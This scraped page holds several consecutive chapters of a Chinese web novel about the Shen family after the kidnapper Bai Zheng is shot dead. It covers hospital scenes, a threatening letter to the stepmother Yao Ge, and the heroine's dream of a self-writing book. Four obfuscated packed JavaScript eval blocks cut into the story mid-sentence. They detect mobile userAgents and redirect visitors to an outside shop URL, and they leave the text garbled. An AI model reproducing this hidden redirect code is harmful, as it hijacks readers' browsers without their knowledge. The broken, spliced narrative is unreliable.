姜花衫从地上爬起来,抬头看见之前被丢下的刀,她忍着疼痛扑上前。 白峥摇摇晃晃站起身,一步步逼近。 姜花衫握着刀,坐在地上死死看着白峥。 比力气她比不过,只能比运气了。 “小贱人,去死!” 男人如恶狼般扑上前。 “砰——” 一声枪响。 男人身体明显顿了一下,下一秒瘫倒在地。 沈归灵坐在床边,双手握枪,眼里戾气横生。 白峥怔怔看着上空,眼里满是难以置信,“别……别杀我,我要死在A国,沈家也会有……会有麻烦。” 沈归灵继续上膛,这次对准了男人的眉心。 白峥眼里终于有一丝慌乱,“别……别杀我。我……我是你……” “砰!” 下一秒,子弹穿过眉心,直接爆头。 沈归灵眼神冰冷,是谁都没用。 【叮咚——】 【当前章节主线严重偏离,现在为您生成最新篇章。】 【生成完毕——】 【原章节剧目——《折磨!白峥的毒计》更改为《守护!白峥之死》】 【为剧目世界载入当前剧情:第二百一十八章--《守护!白峥之死》】 【警告:当前主线剧情偏离10%。】 【警告:主线偏离90%,剧目世界将毁于一旦。】 主线偏离10%? “咚——” 姜花衫如梦初醒,手里的水果刀脱力从掌心掉落在地。 白峥? 是这个男人的身份吗? 他是谁?怎么一下就让主线偏离了这么多?! 沈归灵侧头看着姜花衫,眼神复杂深邃,而姜花衫不知在想什么?表情错愕又无措。 “……” 沈归灵站起身,脑海里忽然闪过两人刚才在床上的亲昵。密闭的空间里,灼烧的指尖沿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064571|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀身一点一点解开绑在她腿上的缎带。 “……” 沈归灵又坐了回去,现在脑子有点乱。 “砰——” 又一声响动,姜花衫闭眼晕了过去。 沈归灵脸色微变,猛地站了起来。 “少爷,他们在里面。” 就在这时,房门被人从外面推开,过道的光照亮了暗室一角。 沈兰曦快步走了进来。 “衫衫?” 沈兰曦一眼认出了晕倒在地上的女孩儿,上前将人扶起。 “衫……” 室内昏暗,沈兰曦抬眼打量房间时才发现地上还躺着一具男性裸尸,他微微一愣,低头看向怀中的女孩,这才发现她衣裳不整头发凌乱。 “阿灵少爷,你的腿受伤了?你没事吗?”高止上前搀扶沈归灵。 沈归灵虚弱摇了摇头。 沈兰曦迟疑片刻,脱下身上的风衣套在姜花衫身上,忽然,他脸上的漠然失去了控制。 血,她的小腿有一条血迹。 沈兰曦似乎想到什么,抬头看向沈归灵,沈归灵一直盯着沈兰曦,自然知道他发现了什么?又在怀疑什么? 她把刀绑在大腿外侧,想必是那个时候划伤了。 两人对视了一秒,沈兰曦立马有了答案,低头整理风衣,确认密不透风才把人抱了起来。 看着沈兰曦离去的背影,沈归灵眼里的温和莫名冷了几分。 沈兰曦刚抱着姜花衫走出密道就与沈清予碰了个正着。 沈清予眼睛死死看着姜花衫,“她怎么了?出什么事了?” 沈兰曦表情淡淡,“先回渡口再说。” 沈清予点头,左右看了看,“那臭傻逼了?” 话音刚落,就看见高止搀扶着沈归灵走了出来。 沈归灵的状态肉眼可见的不好,沈清予犹豫片刻快步上前搀扶,“瞧你这狗熊样?平时不是挺能耐的吗?那个姓白的呢?敢动我们沈家的人,人抓到没有?” 高止看了沈归灵一眼,“他死了。” 沈清予一愣,死了?白家臭名昭彰的疯子就这么死了? …… 第219章 家族交锋 南湾内海的暴乱终于在启明星升起之前被全数镇压,金色海岸与朝阳遥望迎来了新的一天。 南湾市级医院。 看护病房前到处是巡逻的保镖,护士们战战兢兢查完房立马把情况告诉主治医生,医生看过后大舒了一口气又递给眼身边气质非凡的少年,少年拿过两张单子看了一眼,转身往隔间的家属室走去。 “爷爷。”沈清予推门而入,径直走到沈庄面前递上手里的资料。 屋里除了沈兰曦,还有沈谦和姚歌两个老演员。 两人听说沈家暗堂与白家人在邮轮上交火,吓得脸色都白了,要是白峥被抓他们这三年的谋划可就功亏一篑了。 好在天无绝人之路,白峥突然死了,现在死无对证,他们也算暂时安全了。 沈庄接过资料,“医生怎么说?” 沈清予,“衫衫没什么事,只是精力消耗过多才晕过去的。阿灵哥腿上的伤也没有伤及要害,弹片已经取出来了,需要静养。” 沈庄点头,“沈执,让雷行好好照顾阿灵,不要影响了身体。” 沈清予垂眸,掩饰眸中的异样。 要不是有血样数据作证,谁敢相信?沈归灵竟然在被注入了超量助兴剂的情况下反杀了白峥。 简直是非人般的意志,不过也幸亏这臭傻逼够变态,不然小花儿就危险了。 沈清予说不清心里什么滋味,退到一边找了个空位入座。 “爸。” 这时,门外响起叩门声。 “进来。” 沈让大步贯入,表情严肃。 “暗堂已经全部撤离。” ‘路西法一号’在A国南湾内海发生枪战,白峥是S国的皇室成员,他的死,纸包不住火火,不过三个小时就已经在国际上引起了不小的舆论。 S国的外交部第一时间发声谴责A国的内海安全,并要求A国交出刺杀白峥的凶手,还原暴乱真相。 沈家暗堂是沈家的暗器,不可暴露于公众之下,沈让一夜未归就是去处理善后工作的,而沈谦和姚歌等了一早上,等的也是此刻。 昨夜,到底查出了什么? 沈庄将拐杖放置一边,端起桌上的热茶,脸色寻常,“说吧,都查到了什么?” 沈让,“白峥此次来A国属于私人行程,他从南湾登陆,途经了金山和金湾,我们查到白峥也出席了昨晚的慈善宴,但他只待了不到三十分钟就离席了。” 沈清予看了沈庄一眼,出声询问,“五叔,有没有查到他和谁接触过?” 姚歌的心一下悬到了嗓子眼。 沈让摇头,“没有。白峥这次出行身边有个厉害的角色,他的所有行踪几乎都被清除了,要不是衫衫有先见之明事先带了定位器,我们可能连人到了S国还不知道。” 闻言,姚歌暗暗舒了一口气。 这么废?! 沈清予脸色难看,但碍于自己晚辈的身份又不好说话太难听。 沈让看向沈庄,见他不置一词又继续说道,“船上那群流匪是个巧合,他们原本是想借着白家的船做笔军火买卖,谁知突然遇上我们的人搜船,他们以为我们是冲着他们来的,为求自保才发生了暴动。” 这也太巧合了? 沈谦表情微妙,犹豫片刻开口问道,“那白峥的死呢?他可是参加过两次乌轮大战的人,真就死在了两个孩子手里?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064572|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说起白峥,沈兰曦淡漠的眸光微微泛过一丝冷意,他可是亲眼目睹了那个男人的死状,浑身赤条,不着寸缕。 “以现场勘测的结果来看,的确就是那么回事。” 沈让不觉回忆起现场的血腥和混乱,自愧不如摇了摇头,“难为那两个孩子了,在那样的绝境还能完成逆杀,实在堪称奇迹。” 白峥参加过乌轮的灭族战,其凶狠残暴远非一般变态,就算两个优秀的成年军官合力也未必能将他绞杀,奇迹两个字并不算夸张。 姚歌暗暗思量,装出一副羞愧的模样,“是我不好,要是我当时多注意一点也不会让那白家人钻了空子。老爷子,S国让我们交出杀害白峥的凶手,难不成我们真要把阿灵交出去吗?” 这女人是蠢疯了吗? 沈谦皱眉,不等众人反应,冷声训斥,“你住口!你怎么能这么想?阿灵是我儿子,我绝不会同意牺牲他,何况这件事他也是受害者。” 这话其实就是说给沈庄听了,老爷子费尽心力把人救回来怎么可能再把人交出去,姚歌真是越活越回去了。 姚歌被这一声吓住了,但那句‘阿灵是我儿子’直接踩中了她的雷区,她咬牙,恨恨看着沈谦,“好一个你的儿子!沈谦,你是不是忘了?你还有个儿子现在远在异国回不了家!阿年现在就在S国,你有没有想过,出了这种事,阿年有可能也会被连累的。” “够了!”沈庄冷冷打断两人。 姚歌忌惮沈庄,立马低头解释,“爸,我没有怨恨您的意思,我也是怕大家因为阿灵的事心有芥蒂,一时情急才口不择言的,我其实……” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第220章 第一第二第三 一行人跟着沈庄出了家属室,只留下沈谦和姚歌两夫妻面面相觑。 先前沈庄在场,姚歌才多有忍让,现在人都走了她半点都隐忍不了了。 “沈谦,你到底什么时候把儿子接回来?” 沈谦脸色铁青,眼下正是他竞选议员长的关键时期,没想到竟然发生了这么多事,他哪还有空管沈年? 姚歌见状,上手拽住沈谦的衣袖,“老公,你有没有想过?要是老爷子真像兰曦说的那么做,白家怎么会咽下这口气?阿年会有危险的,你不能不管我们的孩子啊!” 沈谦一把甩开姚歌的手,目光如毒蛇一般阴冷,“我问你,白峥为什么突然绑走阿灵和衫衫,是不是你搞的鬼?” 姚歌目光微闪,但这个她不能怯弱,“你别血口喷人,名单不是给你了吗?我怎么知道白峥为什么突然发疯?” 沈谦闭了闭眼,低头整理衣襟,“这件事等我见过阿灵再说。” * 病房走廊。 沈兰曦和沈清予一左一右跟在沈庄身边,两人一个沉着内敛,一个明显不在状态。 “清予。” 沈庄喊了一声,沈清予依旧神游太虚,沈庄察觉到什么,停下脚步看着他,“怎么了?” 沈清予立马回过神,“爷爷,怎么了?” 沈庄,“算算时间,你小姑姑和绥尔应该快到南湾市了,你去接。” 沈清予不乐意,“小姑姑那么大的人还会走丢不成?我不去。” 沈庄瞪眼,举着拐杖作势要打,“皮痒了是不是?让你去你就去。” 沈清予一脸晦气,捂着屁股往后躲,“去去去。” “赶紧的。” 沈清予跑了两步,忽然想到什么又跑了回来,“沈兰曦,你不准偷偷去看小花儿,我要第一个看。” 沈兰曦,“……” 沈庄摆摆手,“放心吧,轮不到他,爷爷第一个。” 沈清予表情不善,但一想到就算自己守在这也抢不过老头,勉为其难点头,“行,但爷爷你可不许骗我啊!你第一,我第二。” 少年风风火火出了看护楼。 沈庄站在栏杆边,目送沈清予被人护送离开,过了一会抬手拍了拍沈兰曦的胳膊,“兰曦,要是爷爷有天不在了,你一定要保护好你的弟弟妹妹。” 沈兰曦垂眸,抬手覆上那只布满皱纹的手,“爷爷,您会长命百岁的。” 哪个老人不喜欢这样的祝福?沈庄点点头,拍了拍沈兰曦的手,“爷爷一定加油。走吧,去看看小花儿。” 沈兰曦脚步一顿,侧头看向沈清予离开的方向。 沈庄笑了笑,带了几分老赖的狡黠,“我们两个一起,就算两个第一,清予还是第二,不算食言。” 沈兰曦眼中隐有笑意,点了点头。 姜花衫身上并没什么外伤,腿部的划伤也只伤了表皮连包扎都不需要。之所以到现在还没醒来,是因为沈庄担心她被淫药伤了身体,又给她注射了镇定剂。镇定剂是沈家旗下实验室研发的,别的副作用没有就是容易嗜睡。 姜花衫还没有醒,偌大的病房里就她一个人。 沈庄皱着眉走到床头,不放心细细打量,见她呼吸平稳睡容甜美才稍稍松了口气,弯腰替她掖好被子。 “怎么回事?人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064573|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?都去哪了?” 沈兰曦正要出去问情况,一个小护士抱着新换好的花瓶走了进来,原来开开心心的一张脸在看见沈庄和沈兰曦后,吓得惊慌失色。 院里领导可是特别打了招呼,病房里躺着的是祖宗,需要好好伺候,不仅如此,能来病房看望的都是祖宗,不得怠慢。 “您……您好。” 小护士不知怎么称呼沈庄,抱着花瓶九十度鞠躬。 沈庄也没想到自己能把一个小姑娘吓成这样,清咳了一声收敛了身上的气势。 “怎么回事啊?不是说了床前不能没有人,你上哪去了?” “不是!您误会了!” 小护士生怕沈庄定她个玩忽职守丢了饭碗,立马解释,“刚刚有个长得很漂亮的男生来探视,他说这位小姐喜欢花,让我去采些花装瓶摆在床头,小姐起来肯定会高兴。我……我是出去采花了。” “长得很漂亮?”沈庄看着小护士稚嫩的脸也不忍责怪,抬头看向沈兰曦,“莫非是阿灵?” 这一层病房除了沈家人就是医护,除了沈归灵不可能有其他人。 沈兰曦表情淡淡,目光扫过女护士怀里的花。 小护士担心自己没解释清楚,又小声说道,“我也不是什么人的话都听的?那个男生就在隔壁病房,他当时坐着轮椅进来的,我知道你们是一家人我才放心出去的。他可细心了,还帮着给这位小姐喂水,好温柔的一个人。” 沈庄笑了笑,点头,“知道了小姑娘,不怪你,我们的确是一家人。” 说罢,又看向沈兰曦,“哈哈哈,赶来赶去,还是个第二!” …… 第221章 嘶,又酸又甜 隔壁病房。 沈归灵靠着软枕正在削苹果,红彤彤的果子在指尖丝滑旋转,果皮又薄又透看着随时会断。 雷行暗暗观察沈归灵的脸色,小心翼翼问道:“少爷,您这苹果是要削给姜小姐吃吗?” 少爷真的是个很温柔很善良的人呐,明明自己也历经了磨难,可一醒来却还是想着别人,听说姜小姐还没醒,不顾自己腿上有伤,坐着轮椅也要去看望姜小姐。 雷行看着眼前憔悴破碎的少爷,心里内疚不已,慈善宴当晚,他应该要坚持陪在少爷身边的,不然也不会发生这种事。 “阿灵。” 门外传来一道人声。 锋利的刀刃微顿,正好削到果梗处,果皮应声断开。 沈归灵慢慢抬眸,清冷的目光像被虹吸操控了一般慢慢溢出温和。 “爸。” 沈谦微愣。 眼前的少年苍白如纸,黑如鸦翼的睫毛微微上翘,眼睑处氤氲着薄薄一层阴翳,乍一看像是有人用粉黛在他的眼尾上了妆。 病态的白和眼眸里的黑形成了极致的反差,形貌昳丽笔墨难述。 难怪白峥突然改变心意。 沈谦微微收敛神思,慢慢走到床边,“你受苦了,好点了没?” 沈归灵撑着上身坐直,“已经没事了。” 沈谦点点头,目光不经意扫过雷行,沈归灵心领神会,抬头看向雷行,“雷管家,病房太沉闷了,你去帮我买束花吧?” “是。”雷行哪有不懂?点头退出了房间。 沈谦见沈归灵如此配合,脸色愈发温和,“阿灵,金湾晚宴的事我听郑松说了,你受委屈了。” 沈归灵摇头,眼神无害,“爸爸别怪我和衫衫不懂事就好,您现在竞选在即,那个严州长……” “不过是个金湾州长,爸爸还不至于离了她就上不了位。那晚的事,都是你……你母亲自作主张,并非我的意思。” 这话倒是不假,沈归灵怎么说也是他沈谦的儿子,就算再不济也不至于沦落到敬酒讨好一个三流州长,他授意沈归灵游走在贵女小姐中,是因为一门好的联姻能为他创造最大的价值,至于严梅婷的价值,沈谦并不看在眼里。 不仅如此,得知姚歌的行为,沈谦心里更是万分厌恶。他实在没弄明白,当初千挑万选的夫人怎么变成了如此庸俗愚蠢的女人? 现在的姚歌根本配不上他的野心。 沈归灵略有些惊讶看着沈谦,眼神里带着几分释然,“爸爸这么说,我心里好受多了,我还以为……是我误会爸爸了。” 闻言,沈谦原本一分的愧疚多了三分,斟酌片刻,语气缓和不少,“阿灵,白峥好端端的为什么要绑架你和衫衫?” 沈归灵明显愣了一下,欲言又止。 沈谦眼里的情绪冷了几分,“真的是……她?” 沈归灵略有犹豫,但最后还是点了点头,“那位白先生说,他和……阿姨做了交易,所以阿姨把我和衫衫卖给他了。” “蠢货!”沈谦原本只是怀疑姚歌,现在被证实气的血压都要上来了,但很快他就反应过来,转头看向沈归灵,“那衫衫?她知道吗?” 沈归灵摇头,“她当时被下了药神志不清,白先生说的话她并不知道。” “那就好。”沈谦一点不敢放松,“阿灵,白峥已经死了,老五也没查出什么证据,老爷子一定会问你们事情的经过,你……” 沈归灵抬眸,眼神真挚,“爸,您放心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064574|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道该怎么说。” 沈谦顿然凝噎,静静看着眼前的少年,他实在不敢相信,天底下有这么懂事的孩子。 沈归灵,“爸,是爷爷让您先来看我的吗?” 沈谦点头,不知想到什么,脸色阴沉,“老爷子只怕已经怀疑我了,偏偏又是在这节骨眼。” “爸爸不用担心,这件事爷爷不会追究了。” 沈谦微愣,面露疑惑,“你怎么知道?” 沈归灵,“爷爷这么聪明,他如果真要追究怎么会让爸爸你第一时间来见我?这件事并不复杂,爷爷想必已经猜到了白先生绑架我和衫衫有阿姨的手笔,但阿姨是爸爸您的妻子,爷爷为了沈家一定不会大动干戈,所以这件事只要我们自己解决好了,爷爷就不会追究。” 沈谦灵光一闪,这才后知后觉。 的确,就算白峥死了,两个孩子还活着,但老爷子似乎根本没急着要一个说法。 沈谦不觉又想起临出门时,沈庄回头看他的眼神,差点没惊出一身冷汗。 “阿灵,你爷爷这是把决定权给你了。” 沈归灵是当事人,姜花衫又晕倒了,现在只要他指认姚歌,姚歌就百口莫辩。 “阿灵……” 沈归灵垂眸,看着手里的刀,嘴角轻轻扯出弯弧,“爸爸,您放心吧,我会替阿姨保密的。阿姨和您夫妻一体,一荣俱荣一损俱损,正在又是您事业最重要的上升期,就算是为了爸爸,我也会原谅阿姨的。” 沈谦无言以对。 他是万万没想到,这孩子会为了他隐忍到这种地步,相比起沈归灵的懂事和优秀,沈年简直就像垃圾堆捡来的报应。 这章没 有结束,请点击下一页继续阅读! 第222章 沈归灵的脑子 深不见底的夜幕识海。 姜花衫双腿盘坐,单手托腮,与眼前的剧目之门大眼瞪小眼。 斑驳的硬壳封面多出了一行金色花体字,《我不过作作妖,怎么就成了白月光》,缠绕在封面的绿色藤曼如同海草一般四处生长,藤曼的分支长出了许多芽点。 这是,爆芽了? 如果这是一盆月季,爆芽期寓意着主体根系发达,营养均衡。 但一本书爆芽又寓意着什么呢? 姜花衫随手一挥,书页缓缓打开。 之前的空白页面赫然写着目录二字。 这目录有点变态,只有章数排序,后面的章节名都是***** 目录最后一页显示:第222章 ******(当前章节更新中) 到目前为止,她已经对着这目录认真研究了大半天,但还是没琢磨出什么名堂。不过一点她基本已经可以确定,这里还是一本书,还是一本实时更新的书,而她成了这本书里的女主角。 姜花衫摸了摸下巴,有一点她还没想明白,为什么会突然有名字?又突然有目录? 这是不是代表如果这本书继续完善,还会有剧情? 还有,又是什么条件触发这本书逐渐完善呢? 想想啊,这段时间她都干了什么? 她有了新的认知,意识自己所处的世界不是《纵横豪情》。 还有,联合沈归灵杀了白峥。 可这两点有什么共同点呢? “啊啊啊!”姜花衫发出一声哀嚎,用力搓脸。 “为什么!为什么就不能给我一个媲美长相的脑子!要是能借沈归灵的脑子用用就好了。” * 与此同时,乌泱泱一群人正围着一张1.5米宽的病床边。 “她刚刚说什么?” 按医生推断,姜花衫下午就该醒了,可现在距离预计的时间已经超过了四个小时,就连沈娇和傅绥尔都已经到了,姜花衫依旧处于昏睡状态。 这可急坏了沈庄,搬了张椅子守在床前,沈娇和傅绥尔守在另一边,沈兰晞和沈清予没地方站,便坐在沙发上玩手机。 医生进进出出了七八回,每次都是提心吊胆,终于,就在刚刚床上的人有了一丝动静了,喃喃自语好像在说话。 沈庄立马站起身,弯腰侧耳。 沈清予比沈兰晞反应快,嗖得一下站起,快步走到床前,“小花儿?” 沈娇盯着姜花衫的脸反复打量,叹了口气,“像是在说胡话。” “嘘。”沈庄做了个噤声的手势,探耳细听,但他年纪大了,根本听不清姜花衫在说什么。 沈兰晞收了手机,双手插兜,刚要抬腿就看见雷行推着沈归灵进了病房。 两人目光对视,沈归灵温和笑了笑,“兰晞哥。” 沈兰晞颔首,神情淡淡。 下午两人就已经见过面了,沈庄从姜花衫房间出来后转头就去看望了沈归灵,沈兰晞跟随在侧。 沈归灵侧头看向围满人的病床,“她还没有醒吗?” 沈兰晞点头。 这时,老爷子直起身,退到一边,“小花儿这絮絮叨叨说什么?我怎么一个字都听不懂?你们谁过来听听?” 沈兰晞抬脚的同时,沈归灵搭手推动手轮。 沈清予近水楼台,一步走到沈庄面前,“我听听。” 沈兰晞脚步一顿,又若无其事向病床走去。 沈归灵默默收回手。 沈清予弯腰,侧耳贴近姜花衫的唇,“她说……老子……老子……” 沈庄皱眉,“什么老子老子?” 沈清予又认真听,过了一会儿表情古怪,眼睑上撩越过人群落在沈归灵脸上。 沈归灵微微抬头,不声不响与沈清予对视。 沈清予直起身,不羁的眉眼带了几分漫不经心,“说胡话呢,听不清。” “听不清你杵在这做什么?”沈庄一把把人推开,重新站回C位,“哎,怎么还不醒啊?” 傅绥尔一脸担心,“爷爷,是不是孟医生配药的剂量出了问题啊?” 沈庄想了想,“沈执,准备一下,我们回鲸港。” 金湾的医疗设备不比鲸港,不能耽误救治。 正说着,姜花衫眼睑动了动。 “衫衫?”沈娇喜出望外,低头摸了摸她的脸,“衫衫?” 姜花衫缓缓睁开眼,好多人头在飘。 傅绥尔高兴地差点哭了,“醒了醒了!终于醒了!” 沈归灵推动手轮,慢慢移到床尾。 沈庄眼中隐有湿润,“小花儿,你终于醒了,饿不饿啊?想吃什么告诉爷爷?” 姜花衫,“沈归灵的脑子。” 沈归灵,“……” …… 第223章 软禁、威胁 啊?这? 沈庄有点为难。 大家的目光不约而同都落在了沈归灵身上,沈归灵大概猜到姜花衫又在说什么胡话,一瞬不瞬看着她。 沈清予早在之前就听见姜花衫嘴里喊着是沈归灵的名字,本以为是梦魇说胡话,没想醒来还念念不忘,一时气不顺,吊梢着丹凤眼对着姜花衫的脑门弹了一下。 “你没脑子吗,要吃别人的?” “砰——” 姜花衫眼一闭,直接被弹回床上又睡了过去。 沈清予一愣,不悦的眼神瞬间凝固。 “小花儿!” 在场众人纷纷变了脸色,就连沈兰晞都没忍住往床边凑了一步。 沈娇贴近摸了摸姜花衫的脸,没一会儿就听见女孩传来轻微的鼾声。她缓了一口气,抬头看向大家解释,“没事,又睡着了。” 之前昏迷,是因为姜花衫一直在识海研究剧目之门,所以这会儿才算是真正的休息。 沈清予吓得差点血液倒流,但嘴巴一点都不求饶,“她怎么能懒成这样?” 话还在喉间没咽下,沈庄的死亡凝视就扫了过来。 “你是不是手欠?谁让你动手打她的?” 沈清予自知理亏,往后退了几步,“我不过轻轻碰了她一下。” 沈庄拿起手里拐杖对着他的屁股就是一棍,“轻轻碰一下,那我也轻轻碰你一下?” “嘶!爷爷!你来真的!” 这一棍下来,沈清予半边腿都被打麻了,眼看沈庄要动真格吓得赶紧躲到沈兰晞身后。 沈兰晞瞥了他一眼,不动声色让开。 “……” 一群人好不容易等到宝贝疙瘩睁开眼,就被他一巴掌拍睡过去了,沈庄越想越气,转头看向沈兰晞,“兰晞,回去你给我好好看着这臭小子,小花儿好全之前不许让他靠近一步。” 沈兰晞眸光微滞,点头,“是,爷爷。” 沈清予不服,“凭什么?” 沈庄,“你嚎什么?后院那几亩地你薅干净没?” “……”沈清予无言以对,得知姜花衫和沈归灵被抓,他立马就跟大部队赶过来了,哪还有心思薅草? “没话说了?” 沈清予抬头,一身的野劲,“怎么没话说了?有话说!” 沈庄双手拄杖看着他。 沈清予点了点轮椅上的少年,“那您把他也禁了。” 这妖孽惯会蛊惑人心,要不防着,姜花衫那傻子迟早有天会被骗。 沈归灵故作不解看着他。 沈庄看了沈归灵一眼,没好气打下沈清予的手,“禁什么禁?你把阿灵当什么了?”说着,似想到什么又转头看向沈归灵。 “你父亲同我说,想留你在南湾静养,国政军校招生在即,休养好身体才是第一大事,你觉得呢?” 在A国,军功就等于荣誉勋章,而A大国政军校几乎是所有A国少年的理想殿堂,A国百分之八十的决策者都是国政军校的学生。 新总统上任后对A国军政改制,要求所有高等军校招生年龄必须年满十八周岁且需通过战役理论考试。 这是一个很高的门槛,因为A国对于自身军事国情基本是封锁的,也就是说普通人靠自学基本是不可能的,这一制改对A国影响深远,几乎堵死了平民阶层鲤鱼跃龙门的机会,平民和贵族两条分水岭日益极端化。 为了应对政策,育才扩增了一个进修班,这个班里的孩子都是冲着国政军校去的,换言之,育才进修班里都是A国未来十年后的主宰者。 辛苦了一年,眼看招生在即,沈庄也不希望这个时候出岔子,所以才想问问沈归灵的意思,孩子大了,这种小事他通常都是让他们自己决定。 “这件事父亲已经跟我沟通过了,我也想留在南湾。” 沈归灵原来就计划先留在南湾,一则他很久没去看舒沐了,这次正好是个契机。二则,白峥的资料还在他手中,这些资料需要尽快消化,在沈园容易被盯上,南湾行事比较方便。 沈庄不疑有他,“好,既然你有主意了,就这么安排吧。等伤好些了记得给家里打电话,爷爷派人来接你。哦,对了,最迟不能超过下个月,小花生日。” 沈归灵笑着应下,“知道了,爷爷。” * “岂有此理!” 姚歌脸色狰狞,一把掀翻桌面,瓷器玻璃砰地一声碎成一片。 “沈谦是疯了不成?他竟然让那个野种留在南湾,还让他去祭奠那个贱人!” 沈谦在南湾深耕了三年,这个时候他愿意把沈归灵留在身边足以说明他对沈归灵的态度不一样了,姚歌就是知道这一点,才不受控制发了疯。 姚歌歇斯底里的丑态让人不寒而栗,莫然低着头不敢靠近。 这三年,夫人的脾气越来越暴躁了,哪还有当年A国第一夫人的影子?简直就像个疯子。 “我为他殚精竭虑,甚至连他的私生子都忍了,他就是这么对我的?呵~” 姚歌抬起头,一把拽住莫然的头发,将她拉到跟前,眼里满是恨意,“那个小野种在哪?” 莫然头皮发麻却不敢挣扎,小心翼翼回道,“老爷子同意他在南湾休养,先生已经派人把他接回南湾别墅了。” 姚歌冷冷看了莫然一眼,甩下头发,刚转身莫然一把抱住她的胳膊。 “夫人,您不能去。老爷子发话让您跟着大家一起回鲸港,还说……” 姚歌眼神阴冷,“还说什么?” 莫然不敢直视,“还说,让五先生看着您,这段时间您不能出鲸港一步。” 这是变相软禁她? 姚歌抬手一巴掌甩在莫然脸上,脸色狰狞,“废物!沈谦呢?他人呢?” 兔死狗烹,老爷子要怀疑她,沈谦也跑不了! 莫然捂着脸,从怀里拿出一个信封,“这是先生让我交给您的。” 姚歌接过封信,随意撕开,等看到里面的照片时,眼里的情绪一瞬间凝固。 照片里,一个长相阴郁的男人左拥右抱,在女人堆里作乐。 姚歌一眼就认出了这是自己的儿子。 所有被凝固的情绪在一瞬间冷却,冷得她四肢冰凉。 “沈谦这是什么意思?” “先生说,老爷子已经怀疑夫人了,他希望这件事可以在夫人这里到此为止。夫人若配合,先生也会感念夫妻之情,等沈家的事尘埃落地,夫人还是夫人。” 姚歌眼神空洞,“若是我不配合呢?” 莫然,“先生说,儿子他只要一个就够了,优胜劣汰,那他也只能会选择优秀的阿灵少爷留在身边了。” 卑劣的男人,竟用他们的亲生孩子威胁她! 姚歌十分平静,反手又甩了莫然一个耳光。 莫然低头。 “你是沈谦的人?” 莫然不语。 姚歌冷冷抬头,“滚出去。” “是。”莫然鞠躬,十分配合退了出去。 姚歌嘴角噙着微笑,她优雅整理着乱发,与之前的疯癫判若两人。 两个儿子? 那她当初亲手掐死的那个又算什么? 沈谦,既然你这么无情那就别怪我无义了。 …… 第224章 他碰了你……的腿? 金湾一行,所有人随沈庄回了鲸港,只有沈归灵留在了南湾市。 酣睡一夜,姜花衫终于在艳阳浮金的某个午后醒了过来。 脑子刚开机,意识还有些浑浑噩噩。 一开始她只是觉得阳光很刺眼,刚抬起手想遮光,有人已经走到了床前。 他的肩膀很宽,挡住了所有的光。 逆着光的脸,棱角分明,英俊贵敛。 “沈龟灵?” 沈兰晞淡漠的眸光冷了几分,“不是。” “沈清予?” 沈兰晞沉默,转身准备离开,忽然,他又想到什么,眼睑微挑,眸光淡淡扫过女孩儿的脸,侧身转了回来。 “……” 姜花衫‘晕晕呼呼’的眼神一下清醒,这小太子不是最受不了闲气的吗?每次用这招都百试百灵,怎么这次不灵了? “姜小姐,你终于醒了?!” 张茹无数次往返主卧和厨房,终于碰上睁开眼睛的姜花衫了,心下一喜,顾不得沈兰晞还在,兴冲冲走到床前。 “睡了这么久饿了吧?想吃什么?” “张妈?”姜花衫抬头打量四周,这才发现已经回到了绣楼,她摸了摸肚子,“想吃淮城汤包。” 沈兰晞抬眸扫了她一眼。 “早猜到了,包子在笼屉里,我现在就去蒸。”说着朝沈兰晞点了点头,又火急火燎跑了出去。 沈兰晞沉默寡言,姜花衫也习惯了,斜睨了他一眼,主动开启话题,“怎么是你?沈归灵呢?” “在南湾。” “在南湾?他在南湾做什么?怎么没回来?” 沈兰晞抬眸,目光淡淡,“你怎么忽然对他这么上心?” 姜花衫瘪瘪嘴,能不上心吗?他手里还有白峥的资料,他要是不在鲸港还怎么骗过来? 沈兰晞等了一会没见她回答,目光就这么一直看着,姜花衫呵呵笑了两声,破罐子破摔,“我哪是忽然上心的?我一直都很上心。” 